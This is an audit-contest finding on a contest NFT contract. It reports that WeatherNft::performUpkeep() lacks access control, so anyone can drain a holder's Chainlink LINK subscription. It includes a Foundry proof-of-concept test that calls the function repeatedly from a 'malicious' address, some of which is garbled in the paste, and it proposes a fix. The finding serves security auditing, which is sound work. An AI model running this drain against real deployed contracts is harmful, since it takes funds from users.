Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Lack of Restriction on ```WeatherNft::performUpkeep()``` Enables DoS and Fund Drain on Chainlink Functions Subscription

Root + Impact

[H-1] Lack of Restriction on WeatherNft::performUpkeep() Enables DoS and Fund Drain on Chainlink Functions Subscription

Description

The WeatherNft contract integrates Chainlink Functions and Automation to automate weather updates for minted NFTs. While Chainlink Automation calls the performUpkeep() method periodically, this function is also publicly callable without any restriction or authorization mechanism.

This opens a severe Denial of Service (DoS) and fund drain vector. Any external user can repeatedly call performUpkeep() with valid token IDs, triggering Chainlink Functions requests. These requests consume LINK tokens from the user's subscription balance (as the upkeep was registered using the user's funds during minting). There is no access control to ensure that only Chainlink Automation or authorized users can call performUpkeep.

As a result, an attacker can:

1.Rapidly drain all LINK tokens from the user's Chainlink Functions subscription.

2.Prevent legitimate weather updates by exhausting the funds, resulting in silent failures.

3.Overload Chainlink nodes with malicious or unnecessary requests, degrading service quality.

function performUpkeep(bytes calldata performData) external override {
uint256 _tokenId = abi.decode(performData, (uint256));
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
// make functions request
string memory pincode = s_weatherNftInfo[_tokenId].pincode;
string memory isoCode = s_weatherNftInfo[_tokenId].isoCode;
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
//mapping para controlar updates
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId;
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
}

Risk

Likelihood:

  • Reason 1
    The likelihood is also High as this vulnerability could be perform everytime with no restriction.

Impact:

  • Impact 1

The impact is High as Drains LINK from a user’s Chainlink Functions subscription. Prevents further automated updates, effectively freezing functionality and Wastes resources on the Chainlink Functions node, reducing efficiency.

Proof of Concept

Using a known token ID (e.g., 1), any user can repeatedly call:

weatherNft.performUpkeep(abi.encode(uint256(1)));

After multiple invocations, the contract reverts with:

[FAIL: custom error 0xf4d678b8]

This error corresponds to InsufficientBalance() in Chainlink’s FunctionsBilling contract, indicating that all LINK for that ID has been consumed.

Logs:
Encountered 1 failing test in test/WeatherNftForkTest.t.sol:WeatherNftForkTest
[FAIL: custom error 0xf4d678b8] test_audit_ManualUpdate_DOSAttack() (gas: 26085764)```
<summary>PoC</summary>
```javascript
function test_audit_ManualUpdate_DOSAttack() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter(); //1
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit); //aprueba que se le envien esos tokesn de mi a SC weather
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
// saca de logs el reqId
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i 0) {
vm.recordLogs();
vm.prank(malicious);
weatherNft.performUpkeep(encodedTokenId);
//fetching request id
Vm.Log[] memory entries = vm.getRecordedLogs();
uint256 tokenIdToUpdate;
bytes32 tokenIdUpdateReq;
for (uint256 i; i < entries.length; i++) {
if (
entries[i].topics[0] ==
keccak256(
"NftWeatherUpdateRequestSend(uint256,bytes32,uint256)"
)
) {
(tokenIdToUpdate, tokenIdUpdateReq) = abi.decode(
entries[i].data,
(uint256, bytes32)
);
}
}
assert(tokenIdUpdateReq != bytes32(0));
assertEq(tokenIdToUpdate, tokenId);
assertEq(
weatherNft.s_funcReqIdToTokenIdUpdate(tokenIdUpdateReq),
tokenId
);
vm.prank(functionsRouter);
bytes memory newWeatherResponse = abi.encode(
WeatherNftStore.Weather.CLOUDY
);
weatherNft.handleOracleFulfillment(
tokenIdUpdateReq,
newWeatherResponse,
""
);
vm.prank(functionsRouter);
balanceOfFunctionRouter = linkToken.balanceOf(functionsRouter);
console.log(
"This is the balance of functions router after attack: ",
balanceOfFunctionRouter
);
}
string memory newTokenURI = weatherNft.tokenURI(tokenId);
assertNotEq(tokenURI, newTokenURI);
}

Recommended Mitigation

To prevent this issue, we recommend restricting access to WeatherNft::performUpkeep(). This can be achieved by implementing a modifier that limits calls to one of the following trusted sources:

Option 1: Allow only the Chainlink Automation Registry to call the function. This ensures that only automated, legitimate updates are performed.

Option 2: If manual updates are desired, allow the call exclusively from the owner of the NFT corresponding to the provided token ID.

You can implement a flexible access control mechanism that supports both cases depending on your intended use.

function performUpkeep(bytes calldata performData) external override {
uint256 _tokenId = abi.decode(performData, (uint256));
+ require(ownerOf(_tokenId) == msg.sender || msg.sender == keeperRegistry, "Not authorized to call this + method");
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
// esta acutalizando el lastFulfilled al blockstamp ya!! mirar
// audit: esto es enganoso ya que en este punto no se ha actualizado
// el Nft , por lo que peude pasar que falle el return de FUcntions ,
// no se actualice pero el sistema de Chainlink y su checkUpkeep
// no ejecute de nuevo la Fn hasta que pasae el tiempo incluso si no
// se ha actualizado.
//Es una forma de DOS vulnerability, dodne aparente todo funciona pero no se va actualiar nunca el
// nft porque hay un error quizas en Functions, pero es un error silencioso.
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
// make functions request
string memory pincode = s_weatherNftInfo[_tokenId].pincode;
string memory isoCode = s_weatherNftInfo[_tokenId].isoCode;
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
//mapping para controlar updates
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId;
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
//* de aqui se ejecuta automaticamente fulfillRequest() que o actualiza en
//* en este caso el Nft a un nuevo Weather o crea un nuevo NFT
}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.